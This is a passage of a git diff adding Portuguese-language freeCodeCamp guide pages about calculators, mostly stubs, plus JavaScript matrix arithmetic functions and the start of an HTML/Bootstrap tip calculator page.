+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/inflation-calculator/index.md b/client/src/guide/portuguese/tools/calculators/inflation-calculator/index.md
new file mode 100644
index 0000000000..d9ebe097f4
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/inflation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Inflation Calculator
+localeTitle: Calculadora de Inflação
+---
+## Calculadora de Inflação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/inflation-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/interest-calculator/index.md b/client/src/guide/portuguese/tools/calculators/interest-calculator/index.md
new file mode 100644
index 0000000000..b4ec36da45
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/interest-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Calculator
+localeTitle: Calculadora de juros
+---
+## Calculadora de juros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/interest-rate-calculator/index.md b/client/src/guide/portuguese/tools/calculators/interest-rate-calculator/index.md
new file mode 100644
index 0000000000..a528bd3b22
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/interest-rate-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Rate Calculator
+localeTitle: Calculadora de taxa de juros
+---
+## Calculadora de taxa de juros
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-rate-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/ip-subnet-calculator/index.md b/client/src/guide/portuguese/tools/calculators/ip-subnet-calculator/index.md
new file mode 100644
index 0000000000..80b686f85d
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/ip-subnet-calculator/index.md
@@ -0,0 +1,18 @@
+---
+title: Ip Subnet Calculator
+localeTitle: Calculadora de Sub-rede Ip
+---
+## Calculadora de Sub-rede Ip
+
+As calculadoras de sub-redes IP ajudam a dividir as redes IP em sub-redes, calculando os endereços de rede apropriados, as máscaras de sub-rede, os endereços de broadcast e os intervalos de IP do host. Para redes simples (como uma LAN doméstica), pode ser muito fácil identificar os valores apropriados, mas para uma sub-rede mais complexa, uma Calculadora de sub-rede IP é uma excelente ferramenta.
+
+Aqui estão algumas calculadoras de sub-rede IP on-line:
+
+*   http://www.subnet-calculator.com/
+*   http://jodies.de/ipcalc
+*   https://www.iplocation.net/subnet-calculator
+*   http://www.calculator.net/ip-subnet-calculator.html
+
+#### Mais Informações:
+
+Para mais informações sobre sub-redes IP, veja aqui: https://en.wikipedia.org/wiki/Subnetwork
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/least-common-multiple-calculator/index.md b/client/src/guide/portuguese/tools/calculators/least-common-multiple-calculator/index.md
new file mode 100644
index 0000000000..5626c43ce3
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/least-common-multiple-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Multiple Calculator
+localeTitle: Calculadora Múltipla Menos Comum
+---
+## Calculadora Múltipla Menos Comum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/least-common-multiple-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/log-calculator/index.md b/client/src/guide/portuguese/tools/calculators/log-calculator/index.md
new file mode 100644
index 0000000000..0414b46b84
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/log-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Log Calculator
+localeTitle: Calculadora de Log
+---
+## Calculadora de Log
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/log-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/matrix-calculator/index.md b/client/src/guide/portuguese/tools/calculators/matrix-calculator/index.md
new file mode 100644
index 0000000000..1f7ed3e273
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/matrix-calculator/index.md
@@ -0,0 +1,99 @@
+---
+title: Matrix Calculator
+localeTitle: Calculadora matricial
+---
+## Calculadora matricial
+
+Uma calculadora matricial é usada para realizar adição, subtração ou multiplicação. Além disso, ele pode realizar operações específicas para matrizes, como transposição de matriz, inversão ou definir a classificação da matriz.
+
+Matriz é construída de linhas e colunas (nxm). Operações realizadas em matrizes colocam algumas restrições nas dimensões da matriz.
+
+##### Adição:
+
+A adição é feita adicionando valores de duas matrizes de **mesmas** dimensões. O resultado é uma matriz das mesmas dimensões que as originais.
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function addMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] + b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+##### Subtração:
+
+A subtração é feita subtraindo valores de duas matrizes de **mesmas** dimensões. O resultado é uma matriz das mesmas dimensões que as originais.
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function subtractMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] - b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+##### Multiplicação:
+
+A multiplicação pode ser feita multiplicando uma matriz por um escalar ou multiplicando matrizes. Se multiplicarmos duas matrizes, isso só poderá ser feito se o número de colunas na matriz da esquerda for igual ao número de linhas na matriz da direita.
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function multiplyMatrices(a, b) { 
+  // we might want to add here constraints for the dimensions 
+  //let's assume that b has to be either a scalar or an array 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || ((!Array.isArray(b) || !Array.isArray(b[0])) && isNaN(b))) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  if (!isNaN(b)) { 
+    for (let i = 0; i < a.length; i++) { 
+      for (let j = 0; j < a[i].length; j++) { 
+        a[i][j] = a[i][j] * b; 
+      } 
+    } 
+    return a; 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      let sum = 0; 
+      for (let k = 0; k < b[i].length; k++) { 
+        sum += a[i][k] * b[k][j]; 
+      } 
+      result[i][j] = sum; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+#### Mais Informações:
+
+https://en.wikipedia.org/wiki/Matrix\_(matemática)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/mean-median-mode-range-calculator/index.md b/client/src/guide/portuguese/tools/calculators/mean-median-mode-range-calculator/index.md
new file mode 100644
index 0000000000..bf13f2fa71
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/mean-median-mode-range-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Median Mode Range Calculator
+localeTitle: Calculadora Média de Alcance do Modo Mediano
+---
+## Calculadora Média de Alcance do Modo Mediano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mean-median-mode-range-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/mortgage-calculator/index.md b/client/src/guide/portuguese/tools/calculators/mortgage-calculator/index.md
new file mode 100644
index 0000000000..be03f8bf29
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/mortgage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Calculator
+localeTitle: Calculadora de hipoteca
+---
+## Calculadora de hipoteca
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/mortgage-payoff-calculator/index.md b/client/src/guide/portuguese/tools/calculators/mortgage-payoff-calculator/index.md
new file mode 100644
index 0000000000..974c7e1de6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/mortgage-payoff-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Payoff Calculator
+localeTitle: Calculadora de pagamento de hipoteca
+---
+## Calculadora de pagamento de hipoteca
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-payoff-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/number-sequence-calculator/index.md b/client/src/guide/portuguese/tools/calculators/number-sequence-calculator/index.md
new file mode 100644
index 0000000000..1d433fe538
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/number-sequence-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Sequence Calculator
+localeTitle: Calculadora de Seqüência Numérica
+---
+## Calculadora de Seqüência Numérica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/number-sequence-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/order-of-operations-calculator/index.md b/client/src/guide/portuguese/tools/calculators/order-of-operations-calculator/index.md
new file mode 100644
index 0000000000..35dfa5d0d6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/order-of-operations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Calculator
+localeTitle: Ordem da Calculadora de Operações
+---
+## Ordem da Calculadora de Operações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/order-of-operations-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/percent-error-calculator/index.md b/client/src/guide/portuguese/tools/calculators/percent-error-calculator/index.md
new file mode 100644
index 0000000000..183339638f
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/percent-error-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent Error Calculator
+localeTitle: Calculadora de erro percentual
+---
+## Calculadora de erro percentual
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percent-error-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/percentage-calculator/index.md b/client/src/guide/portuguese/tools/calculators/percentage-calculator/index.md
new file mode 100644
index 0000000000..908ec466c1
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/percentage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percentage Calculator
+localeTitle: Calculadora de Porcentagem
+---
+## Calculadora de Porcentagem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percentage-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/present-value-calculator/index.md b/client/src/guide/portuguese/tools/calculators/present-value-calculator/index.md
new file mode 100644
index 0000000000..7ef7ca8f4f
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/present-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Present Value Calculator
+localeTitle: Calculadora de Valor Presente
+---
+## Calculadora de Valor Presente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/present-value-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/prime-number-calculator/index.md b/client/src/guide/portuguese/tools/calculators/prime-number-calculator/index.md
new file mode 100644
index 0000000000..0753c89088
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/prime-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Calculator
+localeTitle: Calculadora de números primos
+---
+## Calculadora de números primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/prime-number-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/probability-calculator/index.md b/client/src/guide/portuguese/tools/calculators/probability-calculator/index.md
new file mode 100644
index 0000000000..0b843b0f31
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/probability-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Calculator
+localeTitle: Calculadora de probabilidade
+---
+## Calculadora de probabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/probability-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/ratio-calculator/index.md b/client/src/guide/portuguese/tools/calculators/ratio-calculator/index.md
new file mode 100644
index 0000000000..4ea90ec8c9
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/ratio-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratio Calculator
+localeTitle: Calculadora de Relação
+---
+## Calculadora de Relação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/ratio-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/refinance-calculator/index.md b/client/src/guide/portuguese/tools/calculators/refinance-calculator/index.md
new file mode 100644
index 0000000000..37aeedf9fb
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/refinance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Refinance Calculator
+localeTitle: Calculadora de Refinanciamento
+---
+## Calculadora de Refinanciamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/refinance-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/return-on-investment-roi-calculator/index.md b/client/src/guide/portuguese/tools/calculators/return-on-investment-roi-calculator/index.md
new file mode 100644
index 0000000000..64412df29e
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/return-on-investment-roi-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Return on Investment Roi Calculator
+localeTitle: Retorno sobre o investimento Roi Calculator
+---
+## Retorno sobre o investimento Roi Calculator
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/return-on-investment-roi-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/salary-calculator/index.md b/client/src/guide/portuguese/tools/calculators/salary-calculator/index.md
new file mode 100644
index 0000000000..c45c85c5e6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/salary-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Salary Calculator
+localeTitle: Calculadora Salarial
+---
+## Calculadora Salarial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/salary-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/sales-tax-calculator/index.md b/client/src/guide/portuguese/tools/calculators/sales-tax-calculator/index.md
new file mode 100644
index 0000000000..e96e4b3f9b
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/sales-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sales Tax Calculator
+localeTitle: Calculadora do imposto sobre vendas
+---
+## Calculadora do imposto sobre vendas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sales-tax-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/sample-size-calculator/index.md b/client/src/guide/portuguese/tools/calculators/sample-size-calculator/index.md
new file mode 100644
index 0000000000..93c24cd1a6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/sample-size-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sample Size Calculator
+localeTitle: Calculadora de tamanho de amostra
+---
+## Calculadora de tamanho de amostra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sample-size-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/scientific-calculator/index.md b/client/src/guide/portuguese/tools/calculators/scientific-calculator/index.md
new file mode 100644
index 0000000000..a72cafc9bb
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/scientific-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Calculator
+localeTitle: Calculadora científica
+---
+## Calculadora científica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/scientific-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/sigma-sum-calculator/index.md b/client/src/guide/portuguese/tools/calculators/sigma-sum-calculator/index.md
new file mode 100644
index 0000000000..dfba4194d0
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/sigma-sum-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Sum Calculator
+localeTitle: Calculadora Sigma Sum
+---
+## Calculadora Sigma Sum
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sigma-sum-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/slope-calculator/index.md b/client/src/guide/portuguese/tools/calculators/slope-calculator/index.md
new file mode 100644
index 0000000000..afeb6261b8
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/slope-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Calculator
+localeTitle: Calculadora de Inclinação
+---
+## Calculadora de Inclinação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/slope-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/square-footage-calculator/index.md b/client/src/guide/portuguese/tools/calculators/square-footage-calculator/index.md
new file mode 100644
index 0000000000..ed58452082
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/square-footage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Square Footage Calculator
+localeTitle: Calculadora de metragem quadrada
+---
+## Calculadora de metragem quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/square-footage-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/standard-deviation-calculator/index.md b/client/src/guide/portuguese/tools/calculators/standard-deviation-calculator/index.md
new file mode 100644
index 0000000000..d80975e967
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/standard-deviation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Calculator
+localeTitle: Calculadora de Desvio Padrão
+---
+## Calculadora de Desvio Padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/standard-deviation-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/surface-area-calculator/index.md b/client/src/guide/portuguese/tools/calculators/surface-area-calculator/index.md
new file mode 100644
index 0000000000..c4ef0b4bac
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/surface-area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area Calculator
+localeTitle: Calculadora de área de superfície
+---
+## Calculadora de área de superfície
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/surface-area-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/take-home-paycheck-calculator/index.md b/client/src/guide/portuguese/tools/calculators/take-home-paycheck-calculator/index.md
new file mode 100644
index 0000000000..0d708820f6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/take-home-paycheck-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Paycheck Calculator
+localeTitle: Calculadora de salário inicial
+---
+## Calculadora de salário inicial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/take-home-paycheck-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/time-zone-calculator/index.md b/client/src/guide/portuguese/tools/calculators/time-zone-calculator/index.md
new file mode 100644
index 0000000000..f52865ddad
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/time-zone-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Time Zone Calculator
+localeTitle: Calculadora de Fuso Horário
+---
+## Calculadora de Fuso Horário
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/time-zone-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/tip-calculator/index.md b/client/src/guide/portuguese/tools/calculators/tip-calculator/index.md
new file mode 100644
index 0000000000..c6bf71258b
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/tip-calculator/index.md
@@ -0,0 +1,128 @@
+---
+title: Tip Calculator
+localeTitle: Tipo de computador
+---
+## Calculadora de gorjeta
+
+A Tip Calculator é uma calculadora que calcula uma dica com base na porcentagem da conta total.
+
+## Etapa 1 - HTML:
+
+Criamos um formulário para inserir a quantia preferida:
+
+```html
+
+<!doctype html> 
+ <html lang="en"> 
+  <head> 
+    <title>Tip Calculator</title> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+ 
+    <!-- Bootstrap CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ 
+  </head> 
+  <body class="bg-dark"> 
+    <div class="container"> 
+      <div class="row"> 
+        <div class="col-md-6 mx-auto"> 
+          <div class="card card-body text-center mt-5"> 
+            <h1 class="heading display-5 pb-3">Tip Calculator</h1> 
+            <form id="tip-form"> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">$</span> 
+                  <input type="number" class="form-control" id="billTotal" placeholder="Total Bill"> 
+                </div> 
+              </div> 
+              <div class="form-group tipPersent"> 
+                <div class="input-group"> 
+                  <label for="">Tip:</label> 
+ 
+ 
+                  <input type="range" class="form-control" id="tipInput" value="0"> 
+                  <span class="input-group-addon" id="tipOutput"></span> 
+                </div> 
+              </div> 
+ 
+ 
+ 
+            </form> 
+            <hr> 
+ 
+            <!-- RESULTS --> 
+            <div id="results" class="pt-4"> 
+              <h5>Results</h5> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Tip amount</span> 
+                  <input type="number" class="form-control" id="tipAmount" disabled> 
+                </div> 
+              </div> 
+ 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">Total Bill with Tip</span> 
+                  <input type="number" class="form-control" id="totalBillWithTip" disabled> 
+                </div> 
+              </div> 
+ 
+ 
+            </div> 
+          </div> 
+        </div> 
+      </div> 
+    </div> 
+ 
+    <!-- Optional JavaScript --> 
+    <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+    <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
